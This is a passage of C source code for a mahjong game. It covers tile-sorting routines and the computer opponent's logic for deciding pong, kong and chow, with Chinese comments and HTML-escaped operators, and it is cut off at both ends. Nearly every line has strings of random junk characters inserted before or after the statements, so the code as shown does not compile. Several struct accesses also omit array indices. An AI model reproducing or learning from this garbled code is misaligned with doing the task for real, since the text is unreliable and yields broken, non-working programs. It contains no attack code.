computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;4 I9 l5 F) a: \& e- N* k
computer.pp[j+1].oneorfour=u;  g% @2 q/ W# G# a" m! e, r7 p
u=computer.pp[n].number;- v1 A7 N5 l( O7 ~3 L9 V3 c
computer.pp[n].number=computer.pp[j+1].number;2 D8 W& a4 H( J# p  _. A7 o
computer.pp[j+1].number=u;* X9 y* V! D3 @' ~* d& f) O
}
3 y. U% o$ c& ^# g0 s' s}
: f9 d6 l! k0 i$ e. K1 w}- C& V7 D/ ]0 U" s( g( d
void melipai()
0 i2 ?. g& L" ?+ T7 q2 J6 r# S{ int n,j,u;
, z) h* Y& r2 P# ~int *lingshi;
2 y1 E0 D$ [! X1 cfor(n=0;n&lt;me.m;n++)2 L: h7 T  H  D% F" q9 `: Z5 |
for(j=n;j&lt;me.m;j++)" X5 n+ L! g9 ?0 `' g1 a! |0 m
{- C' f  ^, @8 V% p9 M5 R
if(me.pp[n].number&gt;me.pp[j+1].number)
4 d; e! r% w1 }8 R{
0 _1 v/ X. }6 @  zlingshi=me.pp[n].k;! k, G  Z' o+ v5 t, h
me.pp[n].k=me.pp[j+1].k;5 }. W- I" V- @' m
me.pp[j+1].k=lingshi;
" r6 p  o7 F6 M6 B  Vu=me.pp[n].oneorfour;" R- U5 u' k$ V6 E6 D1 D- b4 f
me.pp[n].oneorfour=me.pp[j+1].oneorfour;
: v2 ~; N) ^2 C! j5 K0 f" Q5 M* S' ime.pp[j+1].oneorfour=u;
2 F  p& J, N; b* z) a* ]2 Lu=me.pp[n].number;+ }& m6 y& n+ ~' Y$ ~# s1 p" u* B
me.pp[n].number=me.pp[j+1].number;2 v9 ^2 Y8 r. I9 T: r
me.pp[j+1].number=u;1 E5 c5 [5 N7 p$ a, V0 i
}
# p: y( g! }: h+ f/ U6 Qelse' X4 M1 ?8 t; @6 Z/ `; U; T
if(me.pp[n].number==me.pp[j+1].number): |5 g4 j$ f  A1 X1 d; b5 }+ F3 V6 o
if(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)0 g% j# [6 y- h$ d/ O
{
( u& N6 u8 B0 v+ \( @  glingshi=me.pp[n].k;, g+ D, J0 S) c
me.pp[n].k=me.pp[j+1].k;: X$ C  E! ^$ q, m5 S) j# _; _1 }( q
me.pp[j+1].k=lingshi;
2 w0 n& X5 Q3 v$ ^2 K/ gu=me.pp[n].oneorfour;
% B0 ]$ ?( D+ W' i; S1 X) H" B* P1 Fme.pp[n].oneorfour=me.pp[j+1].oneorfour;
1 t, h9 S' ?% [me.pp[j+1].oneorfour=u;! e9 r) g, _; e' e5 y, O( ?# U8 g
u=me.pp[n].number;' I2 k5 y# z; n0 T! V
me.pp[n].number=me.pp[j+1].number;
4 F# k" [' C. V* f- q6 ume.pp[j+1].number=u;7 U2 n" R9 F6 `9 E' W  G; W8 s
}
2 ~$ x3 z$ R% W$ Y3 b6 Y3 o}
' s2 h, Y3 m' p}5 Z: |- k0 b5 T0 B2 K
void rgzn(int c) /*本程序涵数的核心针对电脑的牌*/
/ _0 Y* B- g  ], s8 I, {{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
4 P' k( A% V4 Sif(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)
1 P7 Y  G) ]+ x/ v/ `  R{+ K" b7 _$ n2 T2 Y. f, |% T$ I$ u# j
logo=1;
9 E( ?2 u* k% k& p2 I; s4 oif(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)5 j. y+ p+ b$ D/ n. k" }7 F2 V
logoo=1;
/ I( z9 j$ \8 |& f+ [$ b+ f  n9 ielse if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)/ e" }5 l  ~2 y4 m
logoo=2;
! [5 f4 `5 ^6 n* n1 Q  Zelse if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)3 n4 @+ Y, h' m# G0 i2 N  W
logoo=3;5 B7 i6 \3 y, P. F+ M* X
else if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12); M$ I: k0 o3 j# y
logoo=4;
$ g# B0 ]4 y5 r& D0 s1 helse if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)
: C# k+ q6 v1 k$ ?, E: H( @logoo=5;
& G, |$ T  K6 }- Helse if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)
& q% v, x" r4 V3 R. a7 M' X2 Y& j1 @3 Ulogoo=6;
2 h4 L. \+ i/ }2 n- w( ?+ U" {else if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)* w5 W0 w4 a3 b; i0 b1 R
logoo=7;
: }+ q  e% c) ~5 ]: Qelse if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)
6 s- A# W& i. C- Flogoo=8;
+ }2 F3 e' F) y! belse if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)
0 V, a- ?$ s2 F& C, d- Mlogoo=9;
4 ^4 c& u1 I4 Q6 z}
4 i( \; o6 ]2 M' a, S: [. Aelse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)
  z1 [+ h& M; q{
0 h% G' k/ y. _' Slogo=2;7 {8 @8 M" ~6 B* o7 B4 b9 M8 q
if(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)
4 p9 \6 J% W4 W) ]logoo=1;' J/ n7 O, D/ C; R
else if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)2 ]. e! D. t: L/ ^' r2 W
logoo=2;
/ C& r" A9 y/ {% H% Uelse if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44), G6 J" ?9 u6 \
logoo=3;
4 d) S/ G5 {; Q1 v4 {& N2 Selse if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)
) f! U. b' B1 }$ B2 hlogoo=4;* @) `. y: `, s4 l6 o6 E1 B9 B# k
else if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)7 l2 G+ @2 x: k$ |
logoo=5;
/ j( @* a6 Z, Y$ x* ~else if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)# |+ d, l$ T1 B  h% b! p5 |* `/ ]
logoo=6;2 Y, x. y  p1 L: C) H1 _
else if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)
- G1 s7 a3 U  q2 M7 O8 Flogoo=7;9 ^; ?5 t, Z8 w
else if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)) C9 \9 _$ _! u2 Z! @
logoo=8;
" `0 A0 O8 e/ n' y/ ]4 z. relse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)7 X4 W& J1 o- @+ l! o: s8 n+ C
logoo=9;% X3 L- B) c9 b# I- o; o* V# t
}
/ M- n6 @7 j- Ielse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)4 i' m8 z# I$ M
{
( a2 Q& d& P3 U- ]0 _3 dlogo=3;  G- P3 U3 a+ L5 D& e, N4 \
if(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)
; B$ s5 z5 G/ h6 ~logoo=1;
" b0 `1 g; y7 h+ \6 B5 I0 {9 yelse if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)
, r4 r, G+ s. J' P+ t. D' p( zlogoo=2;
, g: j& S  v0 ^/ g" pelse if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)8 O. N# v# A! a; o: k5 T" Z+ [
logoo=3;
" [) Z+ [3 e$ ^- ]; G( `else if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)! r& _  b* w' O$ g& @/ S9 Q
logoo=4;
( t- T& R" s2 O; X0 p+ gelse if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)
* w' V2 }* K' |4 h0 A$ {$ O; i* g, Xlogoo=5;
# [; g0 ^' F6 felse if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)
1 V" R) z7 K4 m! Qlogoo=6;
3 ~5 J4 D0 `- L) u+ M" M1 {else if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)
2 a3 Z9 I" s$ R! C/ u" v% Elogoo=7;
" t! _% ]  Z( ^$ u* h! z( v5 p7 celse if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)8 l% H! U: s# X
logoo=8;/ V, Y4 A( i4 a' _: b' e. D* \+ z
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)* s4 m0 x* N. ~2 P  i6 D* z, j
logoo=9;7 D3 r; x, F9 B, w$ ^" }
}3 K) N# T# E7 c1 [/ S# c
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108), i; `. h8 X; T3 b; o3 K, I, \
{
1 D" Y6 w9 c  b5 m: Ilogo=4;  |4 ~8 i- ~) V
if(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)
& s' c1 i2 ^7 E% Z) s, Z( |logoo=1;6 N% V5 E/ e& I
else if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)5 a4 n1 M6 s2 d& {7 Y7 h
logoo=2;# w; H+ w( _* R, u6 q: t( I
else if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)
, f8 g6 b. d. R- C, Y, ulogoo=3;1 Z/ S" U# o; n) i  t" `
else if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)2 o9 D1 n, {$ W( j4 t/ q2 B8 D# E& @
logoo=4;
1 j6 u: L1 f1 l% R' M1 ielse if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)0 x* g- {% I- f8 t1 u+ q, t: E
logoo=5;; a5 ^6 L7 z5 H
else if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)& s$ a2 [2 x; ?8 C" ^/ `  `  j
logoo=6;) m' U3 d) ^: \) h9 s( Q
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)
2 @: U1 U. p* p3 B( J  vlogoo=7;5 f! [. g, J; X( n- M
}7 E# f8 D) i( v4 o; v- ^" o& R
while(b&lt;=computer.m)) ^$ K3 b# K4 p  A" {% R( ]
{
! n: L' [# n) D1 sif(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*// }9 K* H% A: K* J4 L
{3 S; n2 f; e  o3 j/ Q- H
lg=1;
/ e8 x% R/ X. k$ jcomputer.pp.d[0]=1;
3 P  p8 I! b. q5 Z; mif(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)
1 o2 H% w& g0 K' v( Z7 d- ?, r' e{
' F7 k8 H( U! e$ L+ {  N0 Glgg=1;
3 Y6 f$ x9 `) M4 N, }) A' fcomputer.pp.d[1]=1;& B8 I- O3 \# W% e0 {3 @& C
}
7 f- N  t( L) `0 e5 M9 r- X- X8 [9 ~else if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)
0 F9 O3 n* |3 _7 \( r, z{7 ]! C; G4 {9 _8 S
lgg=2;6 R0 }# E6 X5 ?9 D
computer.pp.d[1]=2;
: m' f* J5 l" H6 i" X}
7 t& {9 U+ K; P% n7 selse if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)
' a- v1 p. ?; f{
% [: j# i. R4 `) ylgg=3;
9 G8 ]  T6 Y; n. Zcomputer.pp.d[1]=3;, U1 A. A# k, v5 ^
}
! c* y% i+ r( z2 s8 }2 G4 Relse if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)
1 u. Y' Q  v4 H$ F{
6 d1 `5 c! y7 m% Plgg=4;% c5 J0 b: w( z3 I
computer.pp.d[1]=4;
8 ~6 ?% v) G( ]3 E}
" s. D, @; ?- C; R, b$ Nelse if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)
, y- z/ n7 l( i' T$ U) w{6 j5 B2 g/ G# K
lgg=5;
2 ^, s; k, }! f( A! a# w- b5 bcomputer.pp.d[1]=5;- x8 X2 ~& J% ~) P% T* Z8 A
}
# N& J* [2 L1 Y6 U* @% Welse if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)
  t3 }5 B  @7 i4 L{
: q: a2 ~0 T7 s$ K. |- Llgg=6;. L  @1 F5 A7 }% K  A8 I2 o$ ^4 k/ U
computer.pp.d[1]=6;
$ U3 q; v) t* T- V& d: j5 M: ]4 B}! U# U' F& C" t/ X; D
else if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)
! Y7 w1 b1 s# w2 ]! s{, X5 ~  Z/ M% `
lgg=7;
2 L) o2 `) b2 u4 O! Dcomputer.pp.d[1]=7;9 E* m2 Y9 X4 F. R+ L; z7 u, d% i
}
+ _5 A2 `6 b( F& H  V, Kelse if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)
. V1 V8 @* ]% R& q& K( M4 E{
" r% \5 t3 M5 ~) Blgg=8;
' O/ t: V& a/ f  y" x, r: `computer.pp.d[1]=8;
) I  K9 S! w! q0 t}
  c$ _& w+ q/ y& d8 oelse if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)
6 t# d2 J5 r% \: e" ?{
9 y( D. t' W; S* @6 w  L# S4 n  plgg=9;8 g( N1 t$ O) _2 f
computer.pp.d[1]=9;
( f4 s3 G1 \! i/ T3 S! Q4 ^2 j}
0 h3 I% P! _1 A! @}
* g: ^. M8 l# U2 R1 ]else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)
% T) P: w; v4 E{
0 G0 Z4 t. T3 Xlg=2;: H& A) z* F1 h5 K  T( P
computer.pp.d[0]=2;, o- `1 {$ k/ |: E$ R0 j( \
if(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)
. P- A! M% _+ J0 B4 c! t{$ s6 |" F2 B/ T/ s
lgg=1;
6 n0 K' y: l, t( I6 xcomputer.pp.d[1]=1;2 A# d( Y* m4 `  S4 H( ~  `
}
' J. ?) M( ?* g: j3 G" Selse if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)
2 o- R0 R9 |6 d9 u{; {5 Z6 `) [" k! p
lgg=2;
; n, S7 m& I; E3 j. Mcomputer.pp.d[1]=2;
' ]+ h$ s  f. v  _}  N# n# I* c1 x& t, J% r
else if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)# x% Z- T5 z- X/ e# N
{
) a2 p; U  E$ P% @4 v: E  X  Xlgg=3;9 _$ d1 y; O6 T  g
computer.pp.d[1]=3;
; G# z" N; ?& M5 ]7 X. `# n- \. f}9 ^5 o: d' x& x: K) A! e" h5 X
else if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)
5 P2 w' ]/ V6 U) Z2 `/ j1 g7 t3 |{
# Y* E3 ~; y9 \6 F: b) d% Rlgg=4;  F/ s1 z& \+ y4 y
computer.pp.d[1]=4;
, Z( i/ d" K: W* z}9 a, v+ M5 G! v0 w, T4 d
else if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)
% n- ^1 h3 ?' O. v{& Q4 l% D- k* l4 q  u+ ?; G( _
lgg=5;
3 B& x# g: D  i1 K4 E2 z: Tcomputer.pp.d[1]=5;) g! O) w3 b% A* s6 g# r
}
% {) S: y* W) d( Belse if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56); |2 t5 }" L9 j# Y: t" W# Z
{" H9 K5 N) e2 c3 N; }) R
lgg=6;
! H7 s# ~. p1 q" i4 v! Lcomputer.pp.d[1]=6;
3 \2 F" X" r5 O9 S( u/ h}
3 E2 e, \' {( f2 h- C1 ?else if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)
8 y  e* }* K2 a, @5 i: I{$ [' Y9 E* j& g2 @
lgg=7;
% b! b8 Y* c* @3 J' p  qcomputer.pp.d[1]=7;4 w8 o. ~1 d8 E% y3 H4 Y- K
}
: L1 S8 k( O7 C) _: X! M7 h" Melse if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)
  Y0 W% a5 @  w# m  D& g) O' j{
  ?- s% h  p# w' p( g; t6 Ulgg=8;0 p7 c) ]3 R; U
computer.pp.d[1]=8;
8 c% Q% T3 O) M/ x4 A' ^' J$ U}
2 P2 {, L9 c  Yelse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)$ k5 t' i" D6 P2 ?
{
& Q  \0 T3 O8 g7 l1 Nlgg=9;
' n, _' t( E, ?0 ?: @computer.pp.d[1]=9;) i/ `9 j* }/ Q' ]1 k' h
}6 H8 w! u+ y4 W. @+ \
}  n" i& X/ ?5 T4 H# y% e
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)! ?+ D7 U2 j0 Z* I0 V
{
- x, @  c* E; m) M5 Tlg=3;
2 U5 x7 E7 E5 b* C+ p8 V% E3 }1 Pcomputer.pp.d[0]=3;0 {0 Q) P" o8 D1 x# E' ]4 d
if(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)) K7 n/ _5 o; o3 D
{
& c5 ?- j9 j  t; T1 Blgg=1;  U+ A6 [% L- ?
computer.pp.d[1]=1;  A# _( U. t8 j! M$ P. S9 o
}; S+ ~- G: M' B$ Z' c; j
else if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)5 L  a5 q+ L4 ~. W) X5 ^
{
5 V, R8 b; h4 Z8 ?, y3 Rlgg=2;
8 g2 ~$ d- b8 \' Fcomputer.pp.d[1]=2;
8 g- Q# Z* j2 J1 ^}& X+ W1 C- T5 v4 q
else if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)
! h6 T. p6 u" F" P" j{
* h8 j( Y* B. c- wlgg=3;0 _' {) m+ L; k& l1 T- O
computer.pp.d[1]=3;/ \% S; n# D' q5 T1 n3 B. ]- N
}
2 P" i# L" z) N/ B: q; Ielse if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)
/ S7 Q( I7 S- @6 V4 v4 E{6 j8 r7 \4 a: ]
lgg=4;7 P9 _8 @& n+ U3 Z* T8 t$ D. q
computer.pp.d[1]=4;9 _% V( h$ D6 Y, B3 X
}. J' _1 B- L8 g- w7 p# G1 I
else if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)2 L& B" T+ |; v6 Q
{
! u2 B( i4 ?( u0 |- vlgg=5;2 [! Z) j4 W; C4 d/ `6 J4 @
computer.pp.d[1]=5;
* M; |6 ?  V9 O6 F- H}; N. L5 P& D1 \3 J* n' ~6 {
else if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92), |: M% u& R7 p& {6 O# }
{
; ^0 R6 Y" U- g- Xlgg=6;& A5 ?" P% H& }" f5 Q: A
computer.pp.d[1]=6;
0 [( F( E. _* c5 E}9 c* R! l0 t0 t' q1 X5 k: o
else if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96); _$ }8 d* U# L' W9 P# [; E; I
{
$ D6 R. B" F, X9 y: J  Ulgg=7;
; {+ ]3 [% o; D9 f' J& Lcomputer.pp.d[1]=7;
" C  Q& G! R( i: `}' i5 g( m1 F  @# v3 Z7 B2 w
else if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100). c$ Z! i& u" X! e9 |" _
{- d7 o8 O( E( ]
lgg=8;
0 _+ O* R5 K6 P" {5 Jcomputer.pp.d[1]=8;
3 C) X  @' f3 o( Q3 ~! `}/ a2 P8 A0 r" ~0 C3 t/ V% f4 C# r
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)
# {  Y: D" K8 c# [) _, Q3 ^{
7 M: u$ u" D: X9 m0 J' H. clgg=9;
, w; X8 l# q( m) s7 S. e7 Gcomputer.pp.d[1]=9;( h: B9 I' l5 _# m& W
}
' U1 U5 ?6 [" e( B3 Z1 U}! N7 i+ s" ?# l% q
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)8 x- \! e: t8 A
{
; D! ~8 e* P1 M$ j" Blg=4;
& u8 B9 g- i( J" x% x8 Y4 [: i% Icomputer.pp.d[0]=4;/ i, P3 q1 p. S
if(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)1 G0 T+ `7 V( t2 `, z3 o. M5 G
{
; \  f4 }0 l% }; N& plgg=1;
* H" Z5 b% c: L* t  t' C2 ncomputer.pp.d[1]=1;
- K" J8 R9 m9 f2 }( n, ?}
% g$ B- z  S  t7 n2 Z& u6 Q$ oelse if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)
6 c0 v3 t$ x' j& H7 J{
) y) P9 P! d6 {1 Jlgg=2;
2 [7 J4 f/ R8 z8 U$ ucomputer.pp.d[1]=2;
4 Y' y4 \8 B2 k9 D% [}
1 ]9 s1 @3 ?5 Zelse if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)
( |/ E- v( U8 H/ B. E& }{' U6 s. a* z9 Z) n$ }6 _" j, I
lgg=3;
* H5 w& l5 q' x$ F9 Pcomputer.pp.d[1]=3;& S3 X5 @8 Z4 @$ r7 D$ r
}. R. r0 h6 y, h( u0 E0 N5 v* U6 _) P
else if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)
! ~* _; F  O5 n/ l0 E{
& S6 S3 P" L* N% J+ k' x# Vlgg=4;
$ Y' q" E' Q9 f9 I  G7 X: Kcomputer.pp.d[1]=4;
1 _" |1 s% g/ }& [0 \# @}
$ ?/ e/ j5 g! ]- A* G; Nelse if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)( u! F% H) B  V) i% o0 h. Y* A% i
{) y) e" C% v4 [; w: f
lgg=5;
8 X7 [+ C0 O9 H4 A. jcomputer.pp.d[1]=5;1 t0 @6 K& W% b2 @% C
}( ]+ H9 X# R( x
else if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)
. P! H% H/ N7 U) y$ t{
8 K$ |4 |; B# K% r3 ]: Mlgg=6;
9 y8 H3 M$ e! P' |4 _- ?) ccomputer.pp.d[1]=6;
; K- d* S, |& P1 z}, g8 ?3 c/ Q/ D$ `# J
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)
5 p( d- m+ k' W/ C{
6 h8 Q# ~; Q7 o: I4 w5 m$ Dlgg=7;
; B8 v9 d1 i: A# {* scomputer.pp.d[1]=7;
) ~& l+ Q- h# O1 q4 D5 n+ ?, T}
7 P- y" X& `! X  f6 ^/ z9 h}" v( G( R. i& ^3 U, C/ ?

  g! l  K- X4 B7 C1 Qif(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/4 F8 m7 y8 t3 Z: `' x
if(logoo==lgg)2 t6 ]! b# R! z& r. y* q
pg++;
: l4 d* F) K, R: Y, ~ch.lg=lg; /*保存电脑手里的每张牌的信息*/* n. _! G5 Z# D- T) r" L
ch.lgg=lgg;
4 y6 z  k" p1 O7 _! C1 glg=0;
3 a0 k; B" t" _2 \* ~: t3 Dlgg=0;" K% ]9 Z4 F: m8 \2 w: k
b++;+ u' o, P- m, p: P: y1 c* _! Z
}
  r' c8 m1 w6 v/ S: |) r' X0 w5 C9 g: Pif(pg==2) /*乓*/- o0 ^: F  u# ^
{  I+ e* f! A3 a7 c9 f+ k! D
8 ]# G+ N' ?1 s
sing=1;
* {: M* V6 {, W7 K+ r3 Tb=computer.m;  z. a+ z$ v* r. F8 B  l
while(b!=-1). ^/ B/ r* T2 a3 E& l8 i
{2 i7 ^$ Q7 P5 {2 F1 \
if(strcmp(me.pp[c].k,computer.pp.k)==0)4 E) b  n. I8 R9 N3 W
computer.pp.p=1;
4 g: m4 d" v' s' W# Y
7 c  O! y$ \+ Kb--;4 d" \) M; D1 r6 P
}
7 o" ^: J4 j5 C4 s! o& u1 \0 l}
" X$ Q+ l0 h+ V9 Q) P  F! rif(pg==3) /*杠*/
; Z; @9 |( E3 z  J{
; r7 N+ |, E! X8 W+ b
4 n) M6 V/ P) l% \5 b2 ksing=2;
5 |# |: s) E7 Kb=computer.m;3 b. F/ o+ x! D6 O
while(b!=-1)
3 S$ _- V* z2 Y# d  K9 u{
8 l, Y$ U* {# o( [! o- b% s6 h% hif(strcmp(me.pp[c].k,computer.pp.k)==0)$ C; @8 h1 d! E7 p
computer.pp.g=1;
* V$ q1 ?9 f0 q! Xb--;/ P8 O( T9 Q- V; Q% J) I! d
}
! R$ \! U0 {# k. M4 ]}  v/ O2 ^$ U& X* F9 M1 t' t
f=0;
9 q* G* k1 ?( `- A- Awhile(f&lt;computer.m) /*吃的判断*/
0 \. G' r" N* O6 q{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)7 s7 p4 z$ o: E2 C& J: E- \
{( T; S0 e; w% x* J3 _
if(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/: O, o- B8 c, B2 j  s0 G& d- t
if(ch[f].lgg-logoo==1)
  C6 y1 W" G' a9 R- Z: |6 n; Y$ \{# ~) w/ w4 W& m1 N* S9 I! A" j
gp++;
" S1 e) d- I- g7 @/ O: scomputer.pp[f].c=1;# Z  _! p% ~% m7 C, v
computer.pp[f+1].c=1;$ {) ]! y, I7 Z3 m8 ]
}
; R9 z+ e' S/ d1 D- }( Rif(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/0 Q' Z: u) `  g
if(ch[f+1].lgg-logoo==-1)
7 f0 r) D# M+ F* L* e, C{1 e; X5 b" h" c. C
gp++;2 K9 n8 N+ m- y: _! k' k
computer.pp[f].c=1;/ D% ?. x3 A4 b% G1 _6 G
computer.pp[f+1].c=1;; G" a( J! y" m7 Z9 s& W" v
}
* E9 n: H' _  h: iif(ch[f].lgg-logoo==-1) /*中吃*/
0 H, c& o% Z. _if(ch[f+1].lgg-logoo==1)
! `* d2 ^" _/ w  H8 l{% z' ?! U' G7 W+ t! K+ u* q
gp++;8 H0 M9 i4 @9 w& L8 a
computer.pp[f].c=1;
% ^$ s- J% [  Q: Ycomputer.pp[f+1].c=1;5 N$ [3 |! Y. h& R" n
}: D6 g: @+ k. D1 P
if(gp==1)
. y8 `- _1 i1 t1 _' _; @4 ybreak;
- N1 a( p' T% `}
! D( J$ J3 P) B, c) Z, P5 Kf++;
, q/ t* F, `( X. M8 G}$ G1 j1 {( p4 W+ l
if(gp==1)% n# ^1 Y1 W8 g0 a
{sing=7;
: ~) A- Q* B; S4 t/ O$ u2 e  R3 H
}5 U: b. {8 C! P* t/ l. ]9 E
pg=0;
8 }2 ~; z9 F" j. K1 [0 m0 U( @gp=0;% z, V' T2 V& m  h4 I
b=0;# |: f& y$ ?4 S5 t4 w3 p% q
}# ~( P# R# R% S9 A4 U
void rgznme(int c) /*本程序涵数的核心针对我的牌*/
, q5 L9 |  }! F{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;, ^5 {3 K; e2 n
if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)9 i. |8 k- d8 O
{
/ U2 e' D. n, Clogo=1;
  }8 h$ G0 j$ d( a$ _5 o' L. {1 zif(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)
' r6 _* X3 I& W: dlogoo=1;/ V* q& @" e4 S& E, Q
else if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)2 [4 N' M6 u1 M' k  d( R2 F
logoo=2;
& `3 I& k+ p) H. {6 ]$ f( Oelse if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)( Z, }  ~9 X, {0 ^& W- e
logoo=3;6 C, Q1 ]5 \1 Y+ j3 p
else if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)
4 O2 z6 K" U7 [. Llogoo=4;5 K: P' J0 s" H1 \+ T; U
else if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)2 |& f, Y- N* n; o
logoo=5;
# [4 ?% M2 z8 |$ celse if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)
' Q% X$ f) m& k8 c3 p9 k* n+ clogoo=6;5 p5 p: y3 q, t; l) a' s
else if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)
1 [+ d! t/ ]- Blogoo=7;
# K9 Y7 E. K7 f' {& w; Qelse if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)0 p. v) F3 b3 t+ g6 w9 k  K
logoo=8;
3 M9 O& P, }; g' K+ Celse if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)
0 R, c' H8 [) I+ l) g1 y1 R" ologoo=9;
9 t2 V6 ]3 V' T' M' m! |! Y}. _; P  G' x) L4 c2 U
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)
* V) E9 [5 s% y5 |3 [{
0 q4 Y$ b1 }9 ~, B; r2 ulogo=2;+ R8 ]: q) n: K4 H
if(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)/ R/ D0 V' P9 Y9 w$ B
logoo=1;2 T4 F; {/ X% b# e$ S
